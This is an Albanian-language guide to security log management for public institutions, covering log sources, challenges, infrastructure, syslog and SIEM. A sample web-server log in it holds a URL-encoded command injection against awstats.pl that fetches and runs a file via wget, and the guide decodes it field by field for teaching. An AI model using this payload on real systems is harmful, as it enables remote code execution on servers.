a) **Ngjarjet e sistemit.** Ngjarjet e sistemit janë veprime operacionale të cilat kryhen nga komponentët e sistemit të operimit si psh fillimi ose ndërprerja e një procedure. Përgjithësisht, vetëm për rastet e fillimit dhe ndërprerjeve të procedurave të rëndësishme mbahen loge nga sistemi, por shumë sisteme operimi lejojnë administratorin të përzgjedhi log-et që mbahen. Gjithashtu nga sistemi në sistem ndryshon edhe sasia e detajeve që mbahen për çdo ngjarje. Zakonisht mbahet informacion për datën dhe kohën, ngjarjen, statusin, gabimin (nëse ka), emrin e shërbimit si edhe emrin e përdoruesit të sistemit.

b) **Log-et e auditit.** Log-et e auditit mbajnë informacion për ngjarje sigurie siç janë tentativat për autentikim, aksesimi i skedarëve, ndryshimet në politikën e sigurisë, ndryshimet në të dhënat e përdoruesit si edhe në privilegjet e tyre. Përgjithësisht sitemet e operimit lejojnë administratorët të përcaktojnë llojin e log-eve që do të mbahen.

c) **Log-et e sistemit të operimit.** Log-et e sistemit të operimit gjithashtu mund të mbajnë informacion edhe nga aplikacione të tjera që ekzekutohen në system, janë më të përdoruara për hetimin e aktiveteve të dyshimta nga personat apo strukturat pëgjegjëse. Kur një

aktivitet i tillë identifikohet nga softwaret e posaçëm log-et shpesh konsultohen për të marrë më shumë informacion rreth aktivitetit. Psh pajisjet e rrjetit mund të zbulojnë një sulm kundër një hosti. Log-et e auditit të sistemit të operimit të hostit mund të thonë nëse përdoruesi është loguar me sukses në atë kohë dhe si rrjedhim nëse sulmi ka qënë i suksesshëm.

Në figurën 1-2 jepen shembuj të log-eve të sistemit të operimit.

Event Type: Success Audit
Event Source: Security
Event Category: (1)
Event ID: 517
Date: 3/6/2006
Time: 2:56:40 PM
User: NT AUTHORITY\SYSTEM
Computer: KENT
Description:
The audit log was cleared
Primary User Name: SYSTEM Primary Domain: NT AUTHORITY
Primary Logon ID: (0x0, 0x3F7) Client User Name: userk
Client Domain: KENT Client Logon ID: (0x0, 0x28BFD)

Figura 2-2. Shembull i log-eve të sistemit[1]

1.1.3 Aplikacionet

Sistemet e operimit dhe software-t e sigurisë sigurojnë mbrojtjen për aplikacionet të cilat ruajnë, aksesojnë dhe manipulojnë të dhënat e proceseve të biznesit të një institucioni publik. Shumë institucione publike mbështeten në produkte komerciale të tipit "off-the-shelf" (COTS) siç janë mail server, browser, webserver, fileserver, database server etj. Po ashtu ato përdorin edhe aplikacione të tjera si psh për menaxhimin financar, prokurimet, menaxhim prodhimi, menaxhues klientesh etj. Po ashtu veç ketyre aplikacioneve institucionet mund të përdorin edhe aplikacione të personalizuara për nevojat e tyre.

Disa aplikacione gjenerojnë vetë loge ndërsa të tjera mbështeten tek sistemi i operimit për gjenerimin e log-eve. Aplikacionet ndryshojnë në tipin e log-eve që gjenerojnë. Më poshtë janë disa shembuj:

a) **Kërkesat e klientëve dhe përgjigjet e serverit,** të cilat mund të jenë mjaft të dobishme në rindërtimin e ngjarjeve dhe pasojat e tyre. Nëse aplikacioni mban usernamin si informacion në loge është relativisht e thjeshtë të përcaktohet përdoruesi që gjeneron kërkesën. Disa

aplikacione mbajnë loge mjaft të detajuara, siç janë mail serverat, web serverat ose aplikacionet e menaxhimit financiar. Informacioni mund të përdoret për të hetuar incidente të ndryshme ose ndihmon në proceset audituese.

b) **Informacionet mbi llogarinë** siç janë ndryshimi i të dhënave apo tentativat e dështuara për t'u autentikuar. Përveç identifikimit të rasteve kur dikush do të thyejë sistemin me anë të një sulmi "brute force" ose marrjen e privilegjeve që nuk i takojnë këto loge mund të përdoren edhe për të parë cili përdorues dhe kur e ka përdorur aplikacionin.

c) **Informacion mbi përdorimin** është psh numri i transaksioneve të kryera duke përdorur aplikacionin në një periudhë të caktuar kohe. Kjo mund të shërbejë për disa raste të monitorimit të sigurisë.

d) **Veprimet e rëndësishme operacionale** për një institucion publik. Log-et e tyre mund të ndihmojnë në identifikimin në kohë të sistemeve të kompromentuara ose dështimit në kryerjen e veprimeve.

Shumë nga ky informacion i gjeneruar nuk transmetohet në rrjeta të paenkriptuara dhe ka vlerë të madhe në kontekstin e sigurisë për menaxhim incidentesh, auditim etj. Nga ana tjetër këto loge varen shumë nga pikëpamja kontekstuale nga informacioni që përpunon aplikacioni, çka rrit shumë koston e analizimit të tyre.

Më poshtë jepet shembull i log-eve të një web server -i.

172.30.128.27 - - [14/Oct/2005:05:41:18 -0500] "GET /awstats/awstats.pl?config
dir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20192%2e168%2e1%2e214%2fnikons%3bc
hmod%20%2bx%
20nikons%3b%2e%2fnikons; echo%20YYY; echo| HTTP/1.1" 302 494
172.30.128.27
IP address of the host that initiated the request
-
Indicates that the information was not available (this server is not configured to put anyinformation in the second field)
-
User ID supplied for HTTP authentication; in this case, no authentication was performed
[14/Oct/2005:05:41:18 -0500]
Date and time that the Web server completed handling the request
GET
HTTP method
/awstats/awstats.pl
URL in the request
config
dir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20192%2e168%2e1%2e214%2fnikons%3bc
hmod

%20%2bx%20nikons%3b%2e%2fnikons; echo%20YYY; echo|
Argument for the request. Each % followed by two hexadecimal characters is a hex encoding of an ASCII character. For example, hex 20 is equivalent to decimal 32, and ASCII character 32 is a space; therefore, %20 is equivalent to a space. The ASCII equivalent of the log entry above is shown below.10 config dir=|echo; echo YYY;cd /tmp;wget 192.168.1.214/nikons;chmod +x nikons;/.nikons; echo YYY;echo|
HTTP/1.1
Protocol and protocol version used to make the request
302
Status code for the response; in the HTTP protocol standards, code 302 corresponds to "found"
494
Size of the response in bytes

Figura 1-3. Shembuj logesh nga një web server[1]

1.1.4 Dobia e log-eve

Kategoritë e log-eve të përshkruara deri tani mbajnë lloje të ndryshme informacioni. Disa prej këtyre log-eve janë më të përshtatshme për situata të ndryshme si psh identifikimi i sulmeve, mashtrimet ose keq përdorimi i aplikacioneve. Për çdo situatë disa loge mbajnë informacion të detajuar për atë lloj ngjarje, ndërkohë që loge të tjera kanë më pak informacion ose mbajnë informacion të detajuar për ngjarje të lidhura me atë kryesore. Një shembull është kur një sistem monitorimi ndërhyrjesh dikton një sulm, log-et e tij janë burimi bazë i informacionit dhe në një moment të dytë administratori mund të konsultohet edhe me log-et e firewall për më shumë informacion.

Adminsitratorët gjithmonë duhet të sigurohen për vërtetësinë e log-eve dhe burimin e tyre. Kur log-et transportohen në mënyrë të paenkriptuar ato janë më të thjeshta për t'u modifikuar. Gjithashtu duhet patur kujdes edhe për modifikimet në konfigurimin e log-eve. Për rastet e makinave të manipuluara është mirë të tregohet kujdes dhe të analizohen edhe log-e të tjera.

1.2 Domosdoshmëria për menaxhim logesh

Menaxhimi i log-eve ndihmon një institucion publik në shumë mënyra. Siguron që informacioni mbi sigurinë të ruhet me detaje dhe për një kohë të mjaftueshme. Analizat routinë të log-eve mundësojnë identifikimin e incidenteve, aktiviteteve mashtruese, thyerjen e politikave, problemet operacionale pak pasi ato ndodhin. Ato gjithashtu ndihmojnë në hetimin e ngjarjeve të ndryshme, auditimin dhe ndihmojnë institucionin në problemet e brendshme.

1.3 Sfidat në menaxhimin e log-eve

Shumë institucione publike kanë sfida të ngjashme kur kërkojnë të zgjidhin problemin e log-eve dhe më kryesorja është: Gjetja e ekuilibrit mes burimeve të kufizuara për këtë proces dhe sasisë gjithnjë e më të madhe të log-eve.

1.3.1 Gjenerimi dhe ruajtja e log-eve

Në shumë institucione sistemet e operimit, softwaret e sigurisë, aplikacionet e ndryshme gjenerojnë dhe ruajnë loge. Kjo komplikon procesin e menaxhimit të log-eve në disa mënyra.

a) **Shumë burime logesh.** Log-et ndodhen në shumë vende brenda një institucioni publik, duke krijuar domosdoshmërinë për menaxhimin e tyre. Gjithashtu vetëm një burim mund të gjenerojë një shumëllojshmëri log-esh.

b) **Përmbajtja jo konsistente e log-eve.** Çdo burim logesh ruan një pjesë të veçantë informacioni si psh. IP dhe username. Për arsye efiçence shumë burime logesh ruajnë vetëm ato informacione që për to janë të rëndësishme. Kjo e bën të vështirë lidhjen e log-eve të ndryshme që kanë të bëjnë me të njëjtën ngjarje. Gjithashtu burimet e log-eve mund të shfaqin në forma të ndryshme të njëjtën të dhënë, psh data jepet me formate të ndryshme. Një rast tjetër është kur një burim e jep FTP me emrin FTP ndërkohë që një burim e jep me numër porte 21.

c) Kohët jokonsistente. Çdo burim logesh vendos kohën e tij të brendshme kur gjeneron një hyrje të re. Kjo e vështirëson punën e analizimit të të dhënave nga burime të ndryshme. Psh në ndonjë rast mund të duket sikur një ngjarje ka ndodhur një minutë më vonë në kompjuterin A nga kompjuteri B, por kjo mund të ketë ndodhur njëkohësisht.

d) Formati jokonsistent. Disa loge përdorin ";" për ndarjen e hyrjeve, disa përdorin "tabin", disa ruhen si tekst i pastër, disa si XML, të tjerë përdorin bazë të dhënash ndërsa tek të tjerë ruhen në formë binare. Disa loge janë të lexueshëm nga syri dhe në format të kuptueshëm, disa të tjerë kanë nevojë për software të personalizuar.

Institucionet e kanë të nevojshme të zhvillojnë metoda të ndryshme për të bashkuar formate të ndryshme të log-eve që vinë nga burime të ndryshme në një të vetëm që mund të analizohet me lehtësi. Formatet jokonsistente dhe të dhënat e tjera të tyre përbëjnë problem për analizuesit dhe në kushte të tilla është mjaft e lehtë të gabohet.

1.3.2 Mbrojtja e log-eve

Në shumë institucione publike sitemet e operimit, software e sigurisë, aplikacionet e ndryshme gjenerojnë dhe ruajnë informacione konfidenciale. Në raste të caktuara ato mund të ruajnë fjalëkalime ose përmbajtje të emaileve. Kjo ngre çështjen e sigurisë së log-eve dhe përfshin

analistët e log-eve si dhe personat që mund t'i aksesojnë ato në mënyre të autorizuar apo paautorizuar. Log-et duhen ruajtur në vende të sigurta dhe nuk duhen lejuar njerëz të ndryshëm t'i modifikojnë apo shkatërrojnë ato në mënyrë të vullnetshme ose të pavullnetshme. Shkatërrimi i log-eve mund të sjellë vazhdimin e aktiviteteve dashakaqe, ose humbjen e provave për identifikimin dhe dënimin e keqbërësve ose aktiviteteve dashakeqe. Në mjaft raste rootkitet janë dizenjuar në mënyrë të tillë që` të modifikojnë log-et duke zhdukur gjurmët e instalimit të tyre.

Shpesh log-et kalojnë limitet e caktuara për to. Institucione të ndryshme kanë politika ku ruajnë deri 100000 loge ose deri 100MB memorje të dedikuar për loge. Në mënyrë që të ruhen standartet e përcaktuara shpesh lind nevoja e kopjimit të këtyre log-eve. Në disa raste mund të aplikohet edhe filtrimi i tyre duke ruajtur ato që janë të rëndësishme. Konfidencialiteti dhe siguria e log-eve të arkivuara gjithashtu është mjaft e rëndësishme.

1.3.3 Analizimi i log-eve

Brenda institucioneve më të madhenj, administratorët e rrjetit dhe sistemit kanë qenë tradicionalisht përgjegjës për kryerjen e analizës së log-eve. Ky proces trajtohet si një detyrë me prioritet të ulët nga administratorët, sepse detyra të tjera të administratorëve, të tilla si trajtimin e problemeve operacionale dhe zgjidhjen e dobësive të sigurisë, kërkojnë përgjigje të shpejta. Administratorët, të cilët janë përgjegjës për kryerjen e analizave të logeve shpesh nuk marrin trajnim për ta bërë atë në mënyrë efikase dhe efektive, veçanërisht në prioritetin që i jepet analizës së log-eve. Gjithashtu, administratorët shpesh nuk marrin mjetet e fundit që janë në qarkullim për të ndihmuar procesin e analizës, të tilla si scripts dhe software e sigurisë (p.sh. mjete për menaxhimin e informacioneve të sigurisë dhe menaxhimit të ngjarjeve të sigurisë). Shumë nga këto mjete janë veçanërisht të dobishme në përkthimin e formateve që njerëzit nuk mund të kuptojnë, të tilla si binarët, dhe lidhja e log-eve të shumta që lidhen me të njëjtën ngjarje. Një problem tjetër është se administratorët e konsiderojnë analizën proces të mërzitshëm dhe pak fitimprurës për sasinë e kohës që kërkohet. Analiza trajtohet shpesh si diçka reaktive, bëhet pasi problemi është identifikuar përmes mjeteve të tjera, jo proaktive për të identifikuar aktivitetin përpara se të shkaktohet problemi dhe parandaluar atë. Tradicionalisht, shumica e log-eve nuk janë analizuar në kohë reale ose afër saj.

1.4 Kapërcimi i sfidave

Pavarsisht sfidave që një institucion përballet në menaxhimin e log-eve janë disa masa që mund të merren në përballimin me sukses të tyre:

a) **Dhënia e prioritetit të duhur menaxhimit të log-eve në strukturat e institucionit.** Një institucion publik duhet të caktojë me kujdes kërkesat dhe qëllimet e saj në mbajtjen e log-

eve dhe menaxhimin e tyre. Më pas institucioni shpërndan burimet e tij për menaxhimin e log-eve duke i dhënë prioritet log-eve që kanë më shumë efekt në uljen e rrezikut.

b) **Përcaktimi i procedurave dhe politikave në menaxhimin e log-eve.** Një institucion duhet të përcaktojë saktë procedurat dhe politikat që duhen ndjekur në menaxhimin e log-eve. Auditet e vazhdueshme janë të rëndësishme në mënyre që institucioni publik të jetë konform standarteve. Testimet dhe provat e herëpashershme sigurojnë që këto politika dhe procedura po zbatohen siç duhet.

c) **Krijimi dhe mirëmbajtja e një infrastrukture të sigurt në menaxhimin e log-eve.** Krijimi i një infrastrukture dhe mirëmbajtja e saj është shumë e rëndësishme në menaxhimin e log-eve. Kjo infrastrukturë duhet të sigurojë që log-et të mos modifikohen ose fshihen si dhe të ruhet konfidencialiteti i tyre. Gjithashtu është e rëndësishme që infrastruktura të ketë kapacitet jo vetëm për sasinë e pritshme të log-eve, por edhe për situatat kritike.

d) **Mbështetje e përshtatshme për të gjithë stafin përgjegjës për menaxhimin e log-eve.** Kur institucionet publike të bëjnë skemën e menaxhimit të log-eve është e rëndësishme të kujdesen që stafi përgjegjës të ketë trajnimin e nevojshëm. Mbështetja ndaj stafit duhet të përfshijë edhe mjetet dhe dokumentet e nevojshme për një menaxhim efikas logesh.

1.4 Përmbledhje

Shumë loge brenda institucioneve të sigurisë kanë lidhje me ngjarje të sigurisë brenda rrjetave dhe sistemeve. Shumë institucione përdorin software sigurie të tipit antiviruse, sisteme të parandalimit dhe detektimit të ndërhyrjeve, firewall etj. Këto software janë burimet kryesore të log-eve të sigurisë. Sistemet e operimit në server, poste pune, pajisje rrjeti etj gjithashtu gjenerojnë një shumëllojshmëri logesh ndër të cilat dhe mjaft loge sigurie, sidomos loge auditimi. Një tjetër burim logesh janë edhe aplikacionet.

Numri, sasia dhe kategoritë e log-eve janë rritur shumë me kalimin e kohës duke bërë të domosdoshëm menaxhimin e log-eve, që është procesi i gjenerimit, transmetimit, ruajtjes dhe fshirjes së log-eve. Menaxhimi i log-eve duhet të sigurojë që log-et e sigurisë të ruhen me detaje dhe për një kohë të arsyeshme. Analizat periodike janë të nevojshme në mënyrë që të identifikohen incidentet, problemet me politikat, veprimtaritë mashtruese ose probleme të tjera. Log-et shërbejnë edhe për hetime të brendshme ose të jashtme, auditime dhe identifikim problemesh afatgjata.

Problemi kryesor i menaxhimit të log-eve është ekuilibrimi i sasisë së kufizuar të burimeve me sasinë në rritje të log-eve. Gjenerimi dhe ruajtja e log-eve komplikohet nga burimet e ndryshme, mungesa e konsistencës mes formateve nga burimet e ndryshme dhe volumi i madh ditor. Ruajtja e log-eve nga ndërhyrjet dhe sigurimi i konfidencialitetit gjithashtu janë problem, por edhe

sigurimi i aksesit mbi to. Kryerja e analizave periodike nga administratorët nuk ndodh gjithmonë për shkak të prioritetit të ulët që i jepet. Disa praktika për zgjidhjen e këtyre problemeve janë:

a) Dhënia prioritet e menaxhimit të log-eve në institucionet publike
b) Caktimi i politikave dhe procedurave në menaxhimin e log-eve
c) Krijimi dhe mirëmbajtja e një infrastrukture për menaxhimin e log-eve
d) Trajnimi i stafit përgjegjës në menaxhimin e log-eve

KAPITULLI II

2. Infrastruktura e menaxhimit të log-eve

Një infrastrukturë menaxhimi logesh përbëhet nga hardware, software, rrjetat, etj e përdorura për gjenerimin, transmetimin, ruajtjen dhe fshirjen e log-eve. Shumë institucione publike kanë një ose më shumë infrastruktura për menaxhim logesh. Ky kapitull përshkruan pjesët e veçanta të infrastrukturës dhe si ato që lidhen me njëra tjetrën. Më pas përshkruan proceset kryesore që kryhen nga infrastruktura. Ai analizon dy kategoritë kryesore të softwareve për menaxhim logesh, softwaret e qëndërzuara të logimit syslog-based dhe softwaret e sigurisë dhe menaxhimit të ngjarjeve. Gjithashtu përshkruhen edhe tipet e tjera të softwareve që mund të ndihmojnë në menaxhimin e log-eve.

2.1 Arkitektura

Një infrastrukturë e menaxhimit të log-eve përgjithësisht përbëhet nga 3 shtresa të cilat janë:

a) **Gjenerimi i log-eve.** Niveli i parë përmban hostet të cilat gjenerojnë të dhënat e log-eve. Disa hoste përdorin aplikacione për të bërë log-et e tyre të disponueshme për serverin. Disa të tjerë lejojnë serverat të autentikohen dhe tërheqin log-et e tyre.

b) Analizimi dhe ruajtja e log-eve. Niveli i dytë përbëhet nga serverat të cilët marrin log-et nga niveli i parë. Të dhënat transmetohen në kohë reale ose gati reale, por me raste edhe e skeduluar të transferohet në mënyrë periodike ose kur plotësohet një sasi e caktuar logesh.

c) Monitorimi i log-eve. Niveli i tretë janë makina të cilat përdoren për monitorim dhe rishikim logesh si edhe për analiza automatike. Këto makina mund të përdoren edhe për gjenerim raportesh.

Niveli i dytë, analiza dhe ruajtja, varion në kompleksitet dhe strukturë. Më e thjeshta është një server i cili bën menaxhimin e log-eve. Kompleksiteti mund të rritet si vijon:

- Shumë servera të cilët kryejnë detyra specifike siç janë mbledhja, ruajtja afatshkurtër dhe afatgjatë ose analiza e log-eve.

- Shumë servera ku secili kryen detyrën e menaxhimit të log-eve për një burim ose grupe burimesh të veçanta. Kjo krijon mundësinë për redundancë në rastet kur një prej serverave bie, sepse serverat e tjerë mund të kryejnë përkohësisht detyrën.

- Dy nivele serverash, ku i pari kryen mbledhjen dhe analizën e log-eve dhe dërgimin e disa log-eve të veçanta në serverat e nivelit më lart. Kjo bëhet në rradhë të parë për arsye sigurie. Duke pasur dy nivele serverash niveli i parë shërben edhe si mbrojtje në rast sulmesh.

Komunikimi mes pjesëve të ndryshme të një infrastrukture të menaxhimit të rrjetit përgjithësisht ndodh brenda rrjetit të institucionit publik. Megjithatë një rrjet i veçantë mund të përdoret për log-et veçanërisht për pajisjet e rëndësishme si firewall, IPS, IMS routera dhe për transferimin e të dhënave në serverat e log-eve. Gjatë një incidenti që ka përfshirë rrjetin ose gjatë një sulmi që ka për qëllim rrjetin ai mund të bëhet i padobishëm duke bërë të pamundur transmetimin e log-eve. Përveç kësaj pasja e një rrjeti të veçantë për log-et mbron nga përgjimi në transmetim. Gjithashtu mbron edhe menaxhimin e log-eve nga sulmet e tjera që mund t'i ndodhin institucionit.

Në disa raste gjeneruesit e log-eve mund të jenë të shkëputur nga rrjeti ose lidhja fizike me serverin e log-eve. Në këto raste mund të përdoren media të transportueshme, si CD/DVD, flash drive etj. Në raste të tjera transmetimi mund të duhet nga pajisje mobile çka do të thotë bandwidth i ulët. Prandaj është e rëndësishme që infrastruktura të jetë sa më fleksibël.

Institucionet publike mund të kenë një infrastrukturë log-esh, por kur është e mundur do të ishte mirë që ajo të ndahej në pjesë të cilat nuk komunikojnë me njëra-tjetrën. Disa institucione kanë shumë infrastruktura për menaxhimin e log-eve që përfshijnë strukturën e brendshme, tipet e sistemeve, tipet e log-eve etj.

2.2 Funksionet

Infrastruktura kryen disa funksione të cilat kanë lidhje me analizimin, ruajtjen ose fshirjen e log-eve. Këto funksione normalisht nuk prekin log-et origjinale. Disa funksione janë:

a) **Të përgjithshme**

1) Parsing i log-eve është procesi i nxjerrjes së të dhënave nga një burim dhe kalimi i tyre në procesin e rradhës. Një shembull është kur një skedar tekst i cili mban 10 rreshta logesh të ndara me ";" kopjohet diku tjetër. Procesi i parsimit është pjesë e proceseve më të ndërlikuara.

2) Filtrimi i ngjarjeve është procesi kur një pjesë e log-eve nuk përfshihen në analiza, ruajtje afatgjatë etjpër arsye se informacioni i ruajtur konsiderohet i parëndësishem. Zakonisht filtrimi nuk prek log-et afatshkurtra.

3) Agregimi i ngjarjeve ndodh kur shumë hyrje logesh bashkohen në një të vetme. Kyfunksionalitet mund të përdoret për të ulur sasinë e log-eve.

b) Ruajtja

1) Rotacioni i log-eve ndodh kur një skedar logesh mbyllet dhe hapet një i ri. Kjo mund të ndodhi çdo orë, ditë, muaj ose kur një skedar ka arritur një numër të caktuar hyrjesh ose madhësi të caktuar. Kjo bëhet për të mbajtur skedarët në madhësi të menaxhueshme. Më pas këta skedarë mund të kompresohen ose analizohen sipas rastit.

2) Arkivimi i log-eve bëhet në mjedise të veçanta si network storage ose të ngjashme. Arkivimi bëhet për ato loge të cilat mund të duhet të ruhen për një kohë të gjatë. Arkivimi bëhet për të mbështetur hetime të mëvonshme.

3) Kompresimi i log-eve është ruajtja e tyre në një format ku reduktohet sasia e memorjes që nevojitet. Kompresimi zakonisht ndodh gjatë rotacionit ose arkivimit të log-eve.

4) Reduktimi i log-eve është procesi ku një pjesë e hyrjeve fshihen sepse konsiderohen të panevojshme.

5) Konvertimi i log-eve është kthimi i tyre nga një format në një format tjetër më të përshtatshëm për ruajtje si baza të dhënash apo XML. Shumë gjenerues përgjithësisht e bëjnë edhe konvertimin e log-eve. Konvertimi shoqërohet me proceset e filtrimit, agregimit dhe normalizimit.

6) Normalizimi i log-eve është procesi i konvertimit të të dhënave në formate konsistente. Një nga shembujt e normalizimit janë data ku koha dhe data konvertohen nga formate të ndryshme në të njëjtin format. Normalizimi është një proces që kërkon shumë kohë dhe burime, sidomos për konvertimet dhe normalizimet komplekse.

7) Vertetimi i integritetit tek log-et është procesi i llogaritjes së një mesazhi për secilin skedar të log-eve dhe ruajtjen e tij në një vend të sigurtë. Këto mesazhe krijohen me ndihmën e algoritmeve si MD5 apo SHA-1. Nëse qoft edhe një bit i vetëm ndryshon tek skedari fillestar, atëhere komplet mesazhi i gjeneruar ndryshon.

c) Analizat

1) Lidhja e ngjarjeve është krijimi i lidhjes mes disa hyrje logesh. Forma më e njohur është ajo bazuar mbi rregulla, ku log-et nga i njëjti burim ose burime të ndryshme lidhen mbi një kriter të caktuar si koha, adresa IP etj. Ngjarjet mund të lidhen edhe duke përdorur metoda statistikore ose mjete vizualizimi. Kur lidhja bëhet me metoda automatike atëhere një log

i vetëm krijohet nga bashkimi i disave. Në varësi të llojit të këtij logu infrastruktura mund të gjenerojë edhe një njoftim.
2) Shikimi i log-eve është shfaqja e tyre në një format të kuptueshëm nga njerëzit. Shumë nga gjeneruesit e log-eve ofrojnë mjete për shfaqjen e tyre. Mjete të tjera ekzistojnë të cilat veç shfaqjes bëjnë edhe agregimin ose filtrimin e log-eve.
3) Raportimi i log-eve është shfaqja e rezultatit të analizes mbi log-et. Raportimi përdoret për të përmbledhur aktivitetet e kryera gjatë një periudhe të gjatë kohore ose për të shfaqur informacion të detajuar mbi një ngjarje të caktuar.

d) **Fshirja**
Fshirja e log-eve është pastrimi i të gjitha hyrjeve të log-eve para një date të caktuar. Kjo bëhet sepse ato loge konsiderohen të padobishme ose sepse janë arkivuar.

Një infrastrukture e menaxhimit të log-eve përgjithësisht i ka të gjitha funksionet e përshkruara. Vendodhja e tyre në tre nivelet e infrastrukturës varet nga software i përdorur për secilin funksion.

2.3 Softwaret e logimit të centralizuara Syslog-Based

Në një infrastrukturë logesh të bazuar në syslog çdo gjenerues logesh përdor të njëjtin format të nivelit të lartë dhe të njëjtën mënyrë transferimi në server. Syslog ofron një strukturë të thjeshtë për gjenerimin, transferimin dhe ruajtjen e log-eve që përdoret sot nga shumë sisteme operimi ose software sigurie.

2.3.1 Formati Syslog

Syslog i cakton prioritet çdo mesazhi bazuar në dy cilësi:

a) **Lloji i mesazhit ose ndryshe aftësi.** Mesazhi mund të jetë i tipit kernel, mesazh poste elektronike, mesazh autentikimi, mesazh printimi, mesazh audititmi.
b) **Shkalla e rëndësisë.** Çdo mesazh ka një shkallë rëndësie që fillon nga 0 (emergjencë) deri në 7 (debug).

Syslogu përdor këto prioritete për të përcaktuar kush mesazh do përpunohet më parë, si psh dërgimi i mesazheve me prioritet të lartë përpara atyre më pak të rëndësishëm. Prioriteti nuk përcakton veprimet që duhet të ndërmerren. Syslog mund të konfigurohet sesi ai përpunon mesazhet bazuar ne prioritet, por ai është i limituar vetëm në dërgimin e mesazheve dhe nuk mund të kryejë veprime bazuar mbi përmbajtjen e mesazhit.

Syslogu është mjaft i thjeshtë. Çdo mesazh përbëhet nga 3 pjesë ku pjesa e parë janë dy vlera numerike për aftësinë dhe rëndësinë, e dyta ka IP adresën e burimit dhe kohën, pjesa e tretë ka vetë

përmbajtjen e logut. Mesazhi nuk ka fusha të tjera dhe ai është menduar të jetë i lexueshëm nga syri njerëzor. Kjo I jep shumë fleksibilitet gjeneruesit të log-eve pasi e lejon të vendosi çfarë të dojë në pjesën e tretë. Një burim mund të ketë disa formate dhe një software analizimi do të duhej t'i njihte këto formate. Problemi vështirësohet kur rritet numri i burimeve. Si rrjedhim procesi i analizës mund të jetë i kufizuar.

Mar 1 06:25:43 server1 sshd[23170]: Accepted publickey for server2 from 172.30.128.115 port 21011 ssh2
Mar 1 07:16:42 server1 sshd[9326]: Accepted password for murugiah from 10.20.30.108 port 1070 ssh2
Mar 1 07:16:53 server1 sshd[22938]: reverse mapping checking getaddrinfo for ip10.165.nist.gov failed - POSSIBLE BREAKIN ATTEMPT!
Mar 1 07:26:28 server1 sshd[22572]: Accepted publickey for server2 from 172.30.128.115 port 30606 ssh2
Mar 1 07:28:33 server1 su: BAD SU kkent to root on /dev/ttyp2
Mar 1 07:28:41 server1 su: kkent to root on /dev/ttyp2

Figura 2-1. Shembuj mesazhesh syslog[1]

2.3.2 Siguria e Syslog

Syslog është zhvilluar atëhere kur siguria e log-eve nuk ishte faktor i rëndësishëm. Si rrjedhim ai nuk ofron kontrollet e sigurisë të nevojshme për menaxhimin e log-eve. Një shembull është përdorimi i UDP i cili nuk jep garanci që transferimi u krye me sukses. Gjithashtu syslog nuk ofron edhe sigurinë e nevojshme në lidhje me autentikimin duke bërë të mundur që sulmuesit të bombardojnë serverat syslog me loge të "këqija". Po ashtu syslog është edhe i cënueshem ndaj përgjimeve pasi ai nuk përdor ndonjë lloj enkriptimi për transmetimin e të dhënave.

Me rritjen e rëndësisë së log-eve të sigurisë kanë dalë implementime të reja të syslog që ofrojnë disa funksionalitete shtesë.

a) **Transmetimi i besueshëm i log-eve.** Disa implementime të syslog përveçse UDP ofrojnë edhe TCP duke e bërë kështu transmetimin të besueshëm. Kjo kërkon më shumë bandwidth sesa syslog-et normale.

b) **Mbrojtja e konfidencialitetit të transmetimit.** Implementime të ndryshme të syslog përdorin protokollin TLS (Transmission Layer Security) për transmetimin në rrjet. Problemi qëndron që TLS mbron vetëm përmbajtjen e paketës dhe jo pjesën e adresës IP. Implementime më të sigurta të syslog përdorin SSH ose Secure Shell Tunel të cilët ofrojnë enkriptim të plotë të paketës.

c) **Filtrim cilësor.** Fillimisht syslog ofronte vetëm aftësinë dhe rendësinë e mesazhit si kritere filtrimi. Implementimet e sotme të syslog ofrojnë edhe filtrime bazuar mbi hostin ose softwarin i cili i gjeneron këto mesazhe. Disa madje ofrojnë edhe disa filtra mbi të njëjtin mesazh duke e bërë shumë më kompleks procesin e filtrimit.

d) Analiza e log-eve. Fillimisht syslog nuk ofronte mjete për analiza, ai jepte thjesht një strukturë mbi të cilën mund të operonin palët e treta. Kështu administratorët përdornin software nga të tretë për realizimin e analizave. Sot ka implementime të syslog të cilat ofrojnë disa lloj analizash ku dallohet lidhja e ngjarjeve me njëra-tjetrën.

e) **Përgjigjja ndaj ngjarjeve.** Disa sysloge mund të marrin masa ndaj ngjarjeve të ndryshme të cilat logohen. Këto janë psh ekzekutimi i një software apo scripti, kontaktimi i administratorëve etj.

f) Formatet alternative. Disa sysloge pranojnë formate jo standarte të mesazheve. Kjo është e dobishme për ato raste kur serverat nuk suportojnë syslog dhe nuk mund të modifikohen për ta bërë këtë.

g) Enkriptimi i skedarëve të log-eve. Implementime të syslogut mund të konfigurohen që të lejojnë enkriptimin e skedarëve loge të arkivuara ose që janë bërë rotacion. Kjo mund të bëhet edhe npërmjet sistemit të operimit me anë të softwareve nga palë të treta.

h) Log-et e ruajtura ne bazë të dhënash. Disa sysloge mund të ruajnë log-et në databaza përveç skedarëve të zakonshëm. Kjo do ishte e vlefshme për analiza të mëvonshme.

i) Kufizimi i mesazheve. Disa implementime të syslog lejojnë kufizimin e mesazheve nga i njëjti host. Kjo ndalon sulmet DOS por nga ana tjetër mund të ndodhi të humbasin mesazhe.

Institucionet publike që përdorin versione të vjetra të syslog duhet të marrin parasysh kalimin në versione të fundit sepse përmirësojnë besueshmërinë, integritetin dhe sigurinë e log-eve.

2.3.4 Softwaret për informacionin e sigurisë dhe menaxhimin e ngjarjeve (SIEM)

Softwaret për informacionin e sigurisë dhe menaxhimin e ngjarjeve ose ndryshe - SIEM janë tipe relativisht të reja softwaresh të centralizuara krahasuar me syslog. Ato zakonisht përbëhen nga server logesh për analiza dhe server databazash për ruajtjen e log-eve. Ato janë dy llojesh:

a) Pa Agjent
   Në këto raste serveri nuk ka nevojë për software tek hosti për të marrë log-et. Në disa raste serveri tërheq log-et nga sistemi i operimit të hostit. Në disa të tjera hosti i dërgon serverit log-et. Në të dyja raste bëhet procesi i autentikimit. Më pas serveri bën agregimet ose filtrimet e nevojshme.

b) Me Agjent
   Në këto raste një agjent instalohet tek hosti dhe ai bën filtrimin dhe agregimin e log-eve. Më pas i dërgon ato në server. Në rastet kur disa tipe logesh duhen mbledhur mund të duhet të instalohen disa agjentë.

